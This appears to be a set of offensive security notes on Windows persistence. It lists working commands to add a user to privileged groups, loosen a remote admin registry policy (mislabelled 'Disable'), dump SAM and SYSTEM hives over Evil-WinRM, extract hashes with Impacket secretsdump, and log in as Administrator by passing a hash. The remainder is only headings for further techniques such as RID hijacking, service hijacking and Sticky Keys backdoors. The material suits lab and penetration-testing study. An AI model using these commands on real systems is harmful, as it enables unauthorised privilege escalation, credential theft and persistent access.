Windows Persistence
Elevating Unpriv Accounts
Add users to groups
# Add to admin
net localgroup administrators oscar42 /add
# Add to backup operators. Can read/write any mem location or reg
net localgroup "Backup Operators" oscar42 /add
# Allow RDP for backup operators
net localgroup "Remote Management Users" oscar42 /add
# Disable LocalAccountTokenFilterPolicy to allow use of remote admin
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1Conn to group using Evil-WinRM
# Connect to box
evil-winrm -i 10.10.0.1 -u oscar42 -p Password321
# Check Groups
whoami /groups
# Download for secrets dump
reg save hklm\system system.bak
reg save hklm\sam sam.bak
download system.bak
download sam.bak
# Dump hashes using Impacket
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
# Login using admin hash (last part of hashdump)
evil-winrm -i 10.10.0.1 -u Administrator -H 1cea1d7e8899f69e89088c4cb4bbdaa3Special Privileges and Security Descriptors
Name
Description
Relative ID (RID) Hijacking
Backdooring Files
Using MSFVenom
Hijacking File Extensions
Services
Auto change admin pass
MSFVenom
Service hijacking
Task Scheduler
Hide task
Logon Triggered Persistence
Startup Folder
Registry
Logon Screen
Stickeykeys
Utilman
Last updated